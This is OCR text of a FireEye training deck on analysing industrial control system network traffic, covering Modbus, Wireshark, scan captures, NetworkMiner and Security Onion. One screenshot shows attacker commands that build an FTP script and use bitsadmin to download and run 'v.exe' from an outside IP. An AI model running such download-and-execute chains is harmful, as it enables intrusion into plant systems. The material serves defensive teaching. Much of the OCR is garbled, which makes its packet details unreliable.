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Who is talking?

What stands out?
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Who's Talking?



Who's Talking?

Asset Inventory

= Infent: Understand what devices are having conversations in
your environment

= Hardware Network Taps

= Tcpdump or Tshark running on devices with an established
network connection

= Commercial asset inventory tools: Nozomi, Dragos, Claroty,
efc.
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What are they talking about?

Understanding ICS Network Communications

= |CS Protocols:
Modbus, DNP3, HART, Siemens S7/comm, OPC, PROFINET, etc...

= Gain a level of understanding of what's being communicated

=" Don’'t underestimate the number of similarities between you ICS
and IT networks

= Example...

©2018 FireEye | Private & Confidential
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Modbus Traffic Example

= Utilizing TCP/502, Modbus operates as a client-server protocol for
process communication in operational technology (OT) systemes.

" |n the Modbus client-server configuration, the serveris the
programmable logic conftroller (PLC) or field device, and the client
is the human-machine interface (HMI) or client that queries the PLCs
or servers

=" Modbus is a request/reply protocol and offers services specified by
function codes

©2018 FireEye | Private & Confidential
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| JoN | M modbus.pcap
A4 = RO Qe=mEF S ., = Q Q  IF
(W[ Apply a display filter ... <3%/> ~ | Expression.
No. Time Source Destination Protocol Length Info
256.. 249253704.000771 10.10.5.85 10.1.1.234 Modbus/T.. 275 Response: Trans: 8343; Unit: 255, Func: 4: Read Input Registers
256.. 249253704.001241 10.1.1.234 190.10.5.85 TCP 66 51411 -+ 502 [ACK] Seq=100117 Ack=1733838 Win=524280 Len=0 TSval=935600480 TSecr=12209294
256.. 249253704.001665 10.1.1.234 10.10.5.85 Modbus/T... 78 Query: Trans: 8344; Unit: 255, Func: 4: Read Input Registers
256.. 249253704.016319 10.10.5.85 10.1.1.234 Modbus/T.. 275 Response: Trans: 8344; Unit: 255, Func: 4: Read Input Registers
256.. 249253704.016879 10.1.1.234 10.10.5.85 TCP 66 51411 - 502 [ACK] Seq=100129 Ack=1734047 Win=524280 Len=0 TSval=935600481 TSecr=12209294
256.. 249253705.018082 10.1.1.234 10.10.5.85 Modbus/T... 78 Query: Trans: 8345; Unit: 255, Func: 4: Read Input Registers
256.. 249253705.032002 10.10.5.85 10.1.1.234 Modbus/T... 275 Response: Trans: 8345; Unit: 255, Func: 4: Read Input Registers -
256.. 249253705.03257@ 10.1.1.234 10.10.5.85 TCP 66 51411 - 502 [ACK] Seq=100141 Ack=1734256 Win=524280 Len=0 TSval=935600491 TSecr=12209304
256.. 249253705.033039 10.1.1.234 10.10.5.85 Modbus/T... 78 Query: Trans: 8346; Unit: 255, Func: 3: Read Holding Registers
256.. 249253705.047579 10.10.5.85 10.1.1.234 Modbus/T.. 275 Response: Trans: 8346; Unit: 255, Func: 3: Read Holding Registers
256.. 249253705.048136 10.1.1.234 10.10.5.85 TCP 66 51411 -+ 502 [ACK] Seq=100153 Ack=1734465 Win=524280 Len=0 TSval=935A00401 TSecr=12209304
256.. 249253705.048496 10.1.1.234 10.10.5.85 Modbus/T... 78 Query: Trans: 8347; Unit: 255, Func: 4: Read Input P-
. 249253705.063240 10.1.1.234 Modbus/T... Response: Trans: 8347; Unit: 255, Func: 4: Read B 0000 |
256.. 249253705.063842 10.1.1.234 10.10.5.85 TCP 66 51411 - 502 [ACK] Seq=100165 Ack=1734674 Win=524~
256.. 249253705.064376 10.1.1.234 10.10.5.85 Modbus/T... 78 Query: Trans: 8348; Unit: 255, Func: 4:
256.. 249253705.078846 10.10.5.85 10.1.1,234 Modbus/T... 275 Response: Trans: 8348; Unit: 255, Func:
» Frame 25618: 275 bytes on wire (2200 bits), 275 bytes captured (2200 bits)
» Ethernet II, Src: Vmware_af:7f:fe (00:0c:29:af:7f:fe), Dst: Apple_4e:06:0d (10:9a:dd:4e:06:0d)
» Internet Protocol Version 4, Src: 10.10.5.85, Dst: 10.1.1.234
» Transmission Control Protocol, Src Port: 582, Dst Port: 51411, Seq: 1734465, Ack: 100165, Len: 209
¥ Modbus/TCP
Transaction Identifier: 8347
Protocol Identifier: @
Length: 203
Unit Identifier: 255 U
¥ Modbus
.000 0100 = Function Code: Read Input Registers (4) °
Request Frame: 25617 R I '|- r
[Time from request: 0.01474400@ seconds]
Byte Count: 200
» Register 200 (UINT16): @ ——
» Register 201 (UINT16): @
» Register 202 (UINT16): @
» Register 203 (UINT16): @
» Register 204 (UINT16): @
» Register 205 (UINT16): ©
» Register 206 (UINT16): @
» Register 207 (UINT16): @
» Register 208 (UINT16): @
» Register 209 (UINT16): @
00po 10 9a dd 4e 06 @d @@ @c 29 af 7f fe 08 @@ 45 @@ X TEEEN IEREE E-
o 4 modbus.pcap ©  Pacn ~ Profile: Def



MODBUS Application Protocol Specification V1.1b3 Modbus
5.1 Public Function Code Definition
Function Codes
code Sub  |(hex)|Section
code
Physical Discrete lfead Discrete Inputs 02 02 6.2
Inputs
Bit Internal Bits Re_ad C_oils _ 01 [ 6.1
CrEST TS or Write Single Coil 05 05 6.5
Physical coils  [Write Multiple Coils 15 OF | 6.11
Data Physical Input Read Input Register 04 04 6.4
Access Registers

Read Holding Registers 03 03 6.3
;:;;I;i Internal Registers |Write Single Register 06 06 | 6.6
Or Write Multiple Registers 16 10 6.12
Physical Output [Read/Write Multiple Registers 23 17 | 6.17
Registers Mask Write Register 22 16 | 6.16
Read FIFO queue 24 18 6.18
Read File record 20 14 | 6.14
File record access Write File record 21 15 | 6.15
Read Exception status 07 07 6.7
. . Diagnostic 08 [00-18,20| 08 6.8
Diagnostics Get Com event counter 11 OB | 6.9
Get Com Event Log 12 0C | 6.10
Report Server ID 17 11 [ 6.13
Read device Identification 43 14 2B | 6.21
Other Encapsulated Interface 43 13,14 2B 6.19

Transport
|CANopen General Reference 43 13 2B | 6.20

©2018 FireEye |

6.4 04 (0x04) Read Input Registers

This function code is used to read from 1 to 125 contiguous input registers in a remote device.
The Request PDU specifies the starting register address and the number of registers. In the
PDU Registers are addressed starting at zero. Therefore input registers numbered 1-16 are

addressed as 0-15.

The register data in the response message are packed as two bytes per register, with the
binary contents right justified within each byte. For each register, the first byte contains the
high order bits and the second contains the low order bits,

Request

Function code 1 Byte 0x04

Starting Address 2 Bytes 0x0000 to 0xFFFF

Quantity of Input Registers 2 Bytes 0x0001 to 0x007D
Response

Function code 1 Byte 0x04

Byte count 1 Byte 2 xN*

nput Registers. N* x 2 Bytes

*N = Quantity of Input Registers

Error

1 Byte [ 0x84

Error code
Exception code

1 Byte | 010r020r03or04

Here is an example of a request to read input register 9:
Field Name (Hex) Field Name (Hex)

Function
Starting Address Hi
Starting Address Lo

Quantity of Input Reg. Hi

April 26, 2012

04 Function 04
00 Byte Count 02
08 Input Reg. 9 Hi 00
00 Input Reg. 9 Lo 0A

http://www.modbus.org

Function Codes

Private & Confidential
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What stands oute

Network Traffic Analysis

= TCP retransmissions implications

= Why is "blank™ happening?
= DNS is your Friend

= Automating analysis w/ tools:
NetworkMiner and Security Onion

©2018 FireEye | Private & Confidential




File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

. e X (’% o LI -

[Fip.addr == 10.0.0.77

S =

QQ QT

—

Ja

-] Expression...

No. Time
852 13.372465665
853 13.374110001 10.0.0.77 192.168.10.53 8081 — 41508 [SYN, ACK] Seq=0 Ack=1 Wil MSS=1410 SACK_PERM TSval=3399003622 TSecr=4058365447 WS=128
854 13.374138779 192.168.16.53 10.0.8.77 TCP 66 41588 —~ 8081 [ACK] Segq=1 Ack=1 Win=29312 Len=0 TSval=4058365449 TSecr=3399003622
855 13.374242346 192.168.10.53 108.0.8.77 HTTP 554 GET /api/groups/with-categories?containingProducts=true&page=-0&size=1000&sort=name%2Casc HTTP/1.1
. R . { q

Saurce Protocol  Length Info

D—— I ——m— I — @ D

1262 20.297665699 10.0.0.77 192.168.10.53 8081 9056 Len TSval=3399010546 TSecr=4058372370

1263 20.404313648 10.0.0.77 192.166.10.53 TCP 1464 8081 — 415608 [ACK] Segq=1 Ack=489 Win=28056 Len=1398 TSval=3399010649 TSecr=4@5837237@ [TCP segment of a reassembled PDU]
1264 20.404361189 192.168.10.53 10.0.8.77 TCP 66 41508 — 8081 [ACK] Seq=489 Ack=1399 Win=32128 Len=0 TSval=4058372479 TSecr=3399010649

1265 20.406038437 10.0.0.77 192.168.10.53 HTTP 618 HTTP/1.1 200 OK (application/json)

1266 20.406066790 192.168.10.53 10.0.0.77 TCP 66 41508 — 8081 [ACK] Seq=489 Ack=1951 Win=34944 Len=0 TSval=4058372481 TSecr=3399010654

1906 30.410241740 192.168.10.53 10.0.0.77 TCP 66 41508 — 8081 [FIN, ACK] Seq=489 Ack=1951 Win=34944 Len=0 TSval=4858382485 TSecr=3399010654

19608 30.411893682 10.0.0.77 192.168.10.53 8081 — 415608 [FIN, 29056 Len=0 TSva. 399020659 TSec 0583582485

1909 30.411932553 192.168.10.53 10.0.0.77 TCP 66 41508 — 8081 [ACK] Seq=498 Ack=1952 Win=34944 Len=0 TSval=4058382486 TSecr=3399020659
2125 34.157901333 192.168.10.53 10.0.0.77 TCP 74 41518 — 8081 [SYN] Seqg=0 Win=29200 Len=0 MSS=146@ SACK_PERM=1 TSval=4058386232 TSecr=0 Ws=128
2130 34.159926385 10.0.8.77 192.168.16.53 TCP 74 8081 — 41518 [SYN, ACK] Seg=0 Ack=1 Win=27960 Len=0 MSS=1410 SACK_PERM=1 TSval=3399024487 TSecr=40858386232 WS=128

2131 34.159948538 192.168.10.53 10.0.8.77 TCP 66 41518 —~ 8081 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=-4058386234 TSecr=3399024407
2132 34.160086221 192.168.10.53 10.0.8.77 HTTP 554 GET /api/groups/with-categories?containingProducts=true&page=-0&size=1000&sort=name%2Casc HTTP/1.1
" P ). T 3 1 N A = 3 S

2573 41.033655712 10.0.0.77 192.166.10.53 66 8081

2576 41.091410292 10.0.0.77 192.168.16.53 1464 8081 — [ACK] Seq=1 Ack=489 Win=29056 Len=1398 TSval=3399031336 TSecr=4858393105 [TCP segment of a reassembled PDU]
2577 41.091442385 192.168.10.53 10.0.0.77 TCP 66 41518 —~ 8081 [ACK] Seq=489 Ack=1399 Win=32128 Len=0 TSval=4058393165 TSecr=3399031336

2578 41.096220410 10.0.0.77 192.168.10.53 HTTP 618 HTTP/1.1 200 OK (applicatien/json)

ArTa a4 AaecACAafaT  ann acn an ca an oA o - rr aaran AAna Fam] Feee A8 A o lma A A e AR AL e T am T AACAAAAM A T - AR AR S A

e4 8d 8c dc f9 6c 2c d@ 5a 5e 84 e7 @8 00 45 00 1, Z» E

(O ¥ wireshark_wlpas0_20190913171638_Ve8sqa.pcapng Packets: 3087 - Displayed: 68 (2.2%) Profile: De



Capturing from ethQ

File Edit View Go Statistics

+t BBERB 2 ¢« > 0 « > R

N Apply a display filter ... <Ctrl-f>

Capture Analyze Telephony Wireless Tools Help

A0 4A®

No. Time Source Destination Protocol Length CNameString Info

127.986184324

192.168.183.164

192.168.183.1

2022 [SYN] Seqg=0 Win=1024 Len=8 MSS=1460

4393 127.986268372 192.168.183.164 192.168.183.254 TCP 58 56430 444 [SYN] Seg=0 Win=1024 Len=8 MSS=1460
4394 127.986377663 192.168.183.164 192.168.183.254 TCP 58 56429 481 [SYN] Seg=0 Win=1024 Len=8 MSS=1460
4395 127.986459546 192.168.183.164 192.168.183.1 TCP 58 56429 481 [SYN] Seg=0 Win=1024 Len=8 MSS=1460

4396

127.988936915
127.989071922

192.168.183.164
192.168.183.164

192.168.183.1
192.168.183.254

1443 [SYN] Seq=0 Wi
6059 [SYN] Seq=0 Win=1024 Len=0 MSS=1460

4398 127.989164471 192.168.183.164 192.168.183.1 TCP 58 56430 1859 [SYN] Seq=0 Win=1024 Len=8 MSS=1460
4399 127.989243145 192.168.183.164 192.168.183.254 TCP 58 56430 1443 [SYN] Seq=0 Win=1024 Len=8 MSS=1460
4400 127.989322927 192.168.183.164 192.168.183.1 TCP 58 56430 1 [SYN] Seq=0 Win=1024 Len=8 MSS5=14606
4401 127.989402214 192.168.183.164 192.168.183.254 TCP 58 56430 1059 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
4402 127.989484934 192.168.183.164 192.168.183.1 TCP 58 56430 616 [SYN] Seq=0 Win=1824 Len=0 MSS5=1460
4403 127 .989560685 192.168.183.164 192.168.183.254 TCP 58 56430 1 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
4404 127.991981748 192.168.183.164 192.168.183.1 TCP 58 56430 9040 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
4405 127.992122752 192.168.183.164 192.168.183.254 TCP 58 56430 1044 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
4406 127.992218202 192.168.183.164 192.168.183.1 TCP 58 56430 2301 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
4407 127.992293845 192.168.183.164 192.168.183.254 TCP 58 56430 9040 [SYN] Seq=0 Win=1824 Len=0 MSS=1460
4408 127.992369899 192.168.183.164 192.168.183.1 TCP 58 56430 32782 [SYN] Seqg=0 Win=1824 Len=0 MSS=1460
4409 127.992441670 192.168.183.164 192.168.183.254 TCP o8 06430 2301 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
4410 127.992515515 192.168.183.164 192.168.183.1 TCP o8 06430 50003 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
4411 127.992587354 192.168.183.164 192.168.183.254 TCP 28 06430 32782 [SYN] Seg=0 Win=1024 Len=0 MSS=1460

Destination Port:
[Stream index: 2835]
[TCP Segment Len: @]

Sequence number: @

[Next sequence number: ©
Acknowledgment number: @

1443

(relative sequence number)

(relative sequence number)]

91160 .... = Header Length: 24 bytes (6)
Flags: 0x802 (SYN)
Window size value:

1024



& Windows Task Manager
File Options Windows

View Help

~1ol x|
Microsoft Windows [Werzion 6.1.76811]
Copyright <c) 2889 Microsoft Corporation.

 APRON|

fill rights reserved.

1

[E[E

Applications | Processes ] Services ] Performance | Netwarking | Users |

- Aux I [status | =
= —
JHicrosoft Windows [Version 6.1.76811 -
PCopyright {(c?> 207 Microsoft rporation. All rights reserved. - sva - Running
Running
C=vUsers~AF-11378>cmd.exe ~c "Cecho open 92.63.197.153>>ftpget.txt&BPecho >ft dowslay 37\end hitsadmin | =
pget . txt&Pecho hehehe »>ftpget .txt&Pecho binary?>Ftpyet.txt&Pecho get v.exer>ftpy| B8 C: Windows'system32\emd. exe - bitsadmin ftra...  Running
et . txtdPecho gquit>>ftpget . txt&Eftp —s:ftpget. txt&l@start v.exe hexit ndows'system32Ycmd. exe - bitsadmin ftra... Running
gggg 22;" 92.63.197.153 ndows'system32\omnd. exe - bitsadmin ftra... Running
Invalid command. B C:\Windows'system32\cmd. exe - bitsadmin jftra... Running
] ndows'system32omd. exe - bitsadmin ftra... Running
ndows'system32\cmd. exe - omd.exe fc . Running
| BN C:Windows'system32\omd.exe - and.exe fc " Running
= ndows'system32iomd. exe - omd.exe fc . Running
X =N C:\Windows'system32\omd. exe - and.exe o " Running =
dows\gystern32\omnd. - and. fcr. Runni
Windows cannot find 'v.exe'. Make sure you typed the name correctly, and then try again OIS SYSLEM 321 BXE - cmd, 8xe '.c . unn?ng
ndows'system32\omd. exe - cmd.exe fc . Rurining
E | Documents Running
oK | | 2] FactoryTalk View Studio - View I'v1ach|ne Edition Running =

|PSH1 | FLT1J§ FLT5 IEIE FLT2

J "\\ / ’,\.

BN C:\Windows\system32\cmd. exe - aond.exe fc "@echo open 92.63.197. 153> »fipget. txt&@echo t...
BN C:\Windows'\system32\cmd. exe - bitsadmin ftransfer getitman /download jpriority high http: //92.6...
BN C:\Windows\system32\cmd. exe - aond.exe fc "@echo open 92.63.197. 153> »fipget. txt&@echo t...
BN C:\Windows'\system32\cmd. exe - bitsadmin ftransfer getitman /download jpriority high http: //92.6...
BN C:\Windows\system32\cmd. exe - aond.exe fc "@echo open 92.63.197. 153> »fipget. txt&@echo t...
BN C:\Windows'\system32\cmd. exe - bitsadmin ftransfer getitman /download jpriority high http: //92.6...
BN C:\Windows'\system32\cmd.exe - and.exe fc "@echo open 92.63. 197, 153> >ftpget. tut&@echo t...
BN C:\Windows'\system32\cmd. exe - bitsadmin ftransfer getitman /download jpriority high http: //92.6...
BN C:\Windows'\system32\cmd.exe - and.exe fc "@echo open 92.63. 197, 153> >ftpget. tut&@echo t...
BN C:\Windows'\system32\cmd. exe - bitsadmin ftransfer getitman /download jpriority high http: //92.6...
BN C:\Windows'\system32\cmd.exe - and.exe fc "@echo open 92.63. 197, 153> >ftpget. tut&@echo t...

BN C:\Windows'\system32\cmd. exe - bitsadmin ftransfer getitman /download jpriority high http: //92.6...

e il e

itch To Mew Task...

nysical Memary: 62%:

“\

53

— —
[ 7start &é Windo... [ =5

"\
.-'-\b:s E-.. l ‘ — | Windo.. ,-,_'f;- Internt...‘ !j Factar... ‘ ‘:5 Logix D‘ lUnﬁﬂe... |- Com...

8:24 AM
- 172020 =



%8 MetworkMiner 2.0 — O >
File  Tools Help
— Select a network adapter in the list — | | A Stop
Keywords  Anomalies Case Panel
Hosts {129} Files (131} |mages {33) Messages Credentials (2} Sessions (113) DNS (271} Farameters {1199) Filename ~ MD3
Filter keyword: | +| O Case senstive | ExactPhrase | | Gear | [ Aopy snortlog.... Z301c2..
D. port Protocol Filename BExtension Size Details 2
‘ TCP 53130 TisCertfficate nr-data net.cer Cer 1203 B TLS Cerificate: C
5 ETRES EC TCP 53130 TisCertfficate GeoTrust SSLCA - G2.cer cer 11178  TLS Certficate: C
TCP 53130 TisCertificate GeoTrust Global CA cer cer 837 B TLS Certfficate: C
TCP 53138 HttpGetMomal index Html[2].ocspresponse ocspfesponse 14558 gb.symcd.com/
TCP 53135 HttpGetChunked  index html hitenl 86958 B  www mestup.com
TCP 53142  HitpGetMormal almond min js javascript javascript 2758 B static2Zmeetupsta
. TCP 53140  HitpGetMomal mestup_jquery_uicss css E725B static? meetupsta
N e TWO rkM I n e r TCP 53144  HttpGetMormal client.min js javascript javascript 36528 static? meetupsta
TCP 53145 HitpGetMomal infoWidget min js javascript javascrpt 206358 staticZ meetupsta
TCP 53151 HitpGetMomal group Metadata min js javascript jawascript 2409B static].mestupsta
TCP 53145 HttpGetMomal mt4woButtonCTAtestimonial css css 445 B static1 meetupsta
TCP 53147 HitpGetMomal print.cas css 2171 B static] mestupsta
TCP 53141  HitpGetMomal meetupmodem .css css 2239718  static2 meetupsta
TCP 53135 HitpGetMomal index html 601A30CT cas css 55828  www mestup.com
TCP 53146  HitpGetMormal whitney.css css 834558 staticl.meetupsta
TCP 53150 HttpGetMomal ghome min js javascript javascript 102378 B static1.mestupsta
TCP 53148 HitpGetMomal chapterbase css css 165101 B static1.mestupsta
TCP 53143 HttpGetMomal Meetup.Base jguery.min js javascrpt  javascript 414 355 B  staticZ meetupsta
TCP 53152  HitpGetMomal thumb_156167702 jpeg ipeq 2611 B photos3 mestupst
TCP 53156 HttpGetMomal thumb_151699612 jpeg . PNG PNG 2571 B photos3.mestupst v
< * Reload Case Files
Live Sniffing Buffer Usage:

©2018 FireEye |
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Security Onion
and Pcaps

* tcpreplay

* so-replay

* so-import-pcap

©2018 FireEye | Private & Confidential
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| Immerse yourselves



Immerse yourselves in the conversations
Practice evaluating Pcaps

= Take a capture from your environment and gain an understanding
of what's happening in your network

" Practice:

- https://github.com/ITI/ICS-Security-Tools/tree/master/pcaps

- https://www.malware-traffic-analysis.net/index.html

= BOOKksS:
— Practical Packet Analysis 3rd Edition by Chris Sanders

— Applied Network Security Monitoring: Collection, Detection, and Analysis
by Chris Sander

©2018 FireEye | Private & Confidential
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https://github.com/ITI/ICS-Security-Tools/tree/master/pcaps
https://www.malware-traffic-analysis.net/index.html
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